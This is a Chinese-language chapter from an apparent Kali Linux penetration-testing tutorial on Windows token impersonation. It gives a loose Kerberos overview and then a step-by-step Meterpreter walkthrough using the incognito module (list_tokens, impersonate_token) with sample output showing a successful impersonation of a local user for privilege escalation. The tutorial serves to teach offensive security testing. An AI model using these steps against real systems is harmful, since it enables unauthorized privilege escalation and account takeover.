• 7.1 使用假冒令牌
    • 7.1.1 工作机制
    • 7.1.2 使用假冒令牌

    7.1 使用假冒令牌

    使用假冒令牌可以假冒一个网络中的另一个用户进行各种操作,如提升用户权限、创建用户和组等。令牌包括登录会话的安全信息,如用户身份识别、用户组和用户权限。当一个用户登录Windows系统时,它被给定一个访问令牌作为它认证会话的一部分。例如,一个入侵用户可能需要以域管理员处理一个特定任务,当它使用令牌便可假冒域管理员进行工作。当它处理完任务时,通常会丢弃该令牌权限。这样,入侵者将利用这个弱点,来提升它的访问权限。本节将介绍在Meterpreter Shell下实现假冒令牌攻击。

    7.1.1 工作机制

    在假冒令牌攻击中需要使用了Kerberos协议。所以在使用假冒令牌前,先介绍下Kerberos协议。Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos工作机制如图7.1所示。

    212-01

    图7.1 Kerberos工作机制

    客户端请求证书的过程如下所示:

    (1)客户端向认证服务器(AS)发送请求,要求得到服务器的证书。

    (2)AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端。该证书包括服务器ticket(包括服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥session key)。当然,认证服务器会将该证书给服务器也发送一份,用来使服务器认证登录客户端身份。

    (3)客户端将ticket传送到服务器上,服务器确认该客户端的话,便允许它登录服 务器。

    (4)这样客户端登录成功后,攻击者就可以通过入侵服务器来获取到客户端的令牌。

    7.1.2 使用假冒令牌

    为了获取一个Meterpreter Shell,用户必须使用Metasploit去攻击一台主机后才可成功建立Meterpreter会话。对于使用Metasploit攻击主机的方法,在第6章有详细介绍,这里就不再赘述。使用令牌假冒的具体操作步骤如下所示。

    (1)启动Meterpreter会话。执行命令如下所示:

    1. msf auxiliary(browser_autopwn) > sessions -i 1
    2. [*] Starting interaction with 1
    3. meterpreter >

    从输出的信息可以看到,成功启动了Meterpreter会话。

    (2)使用use incognito命令加载incognito模块,然后列举出令牌。执行命令如下所示:

    1. meterpreter > use incognito
    2. Loading extension incognitosuccess.

    输出的信息表示成功加载incognito模块。然后可以通过查看帮助信息,了解列举令牌的命令。执行命令如下所示:

    213-01214-01

    以上输出信息显示incognito模块下的所有命令。从输出的信息中可以看到列举当前有效的令牌命令是list_tokens。执行以上命令后将输出大量信息,由于篇幅原因,部分内容使用省略号(……)取代了。

    (3)列举所有令牌。执行命令如下所示:

    1. meterpreter > list_tokens -u
    2. [-] Warning: Not currently running as SYSTEM, not all tokens will be available
    3. Call rev2self if primary process token is SYSTEM
    4. Delegation Tokens Available
    5. ===============================================
    6. AA-886OKJM26FSW\Test
    7. Impersonation Tokens Available
    8. ===============================================
    9. No tokens available

    从输出的信息可以看到分配的有效令牌有AA-886OKJM26FSW\Test。其中AA-886OKJM26FSW表示目标系统的主机名,Test表示登录的用户名。

    (4)使用impersonate_token命令假冒Test用户进行攻击。执行命令如下所示:

    1. meterpreter > impersonate_token AA-886OKJM26FSW\\Test
    2. [-] Warning: Not currently running as SYSTEM, not all tokens will be available
    3. Call rev2self if primary process token is SYSTEM
    4. [+] Delegation token available
    5. [+] Successfully impersonated user AA-886OKJM26FSW\Test

    从输出的信息中可以看到假冒Test用户成功。此时就可以通过提升自己的权限,在目标系统中进行任何操作了。

    215-01注意:在输入HOSTNAME\USERNAME的时候需要输入两个反斜杠(\)。

    原文: https://wizardforcel.gitbooks.io/daxueba-kali-linux-tutorial/content/36.html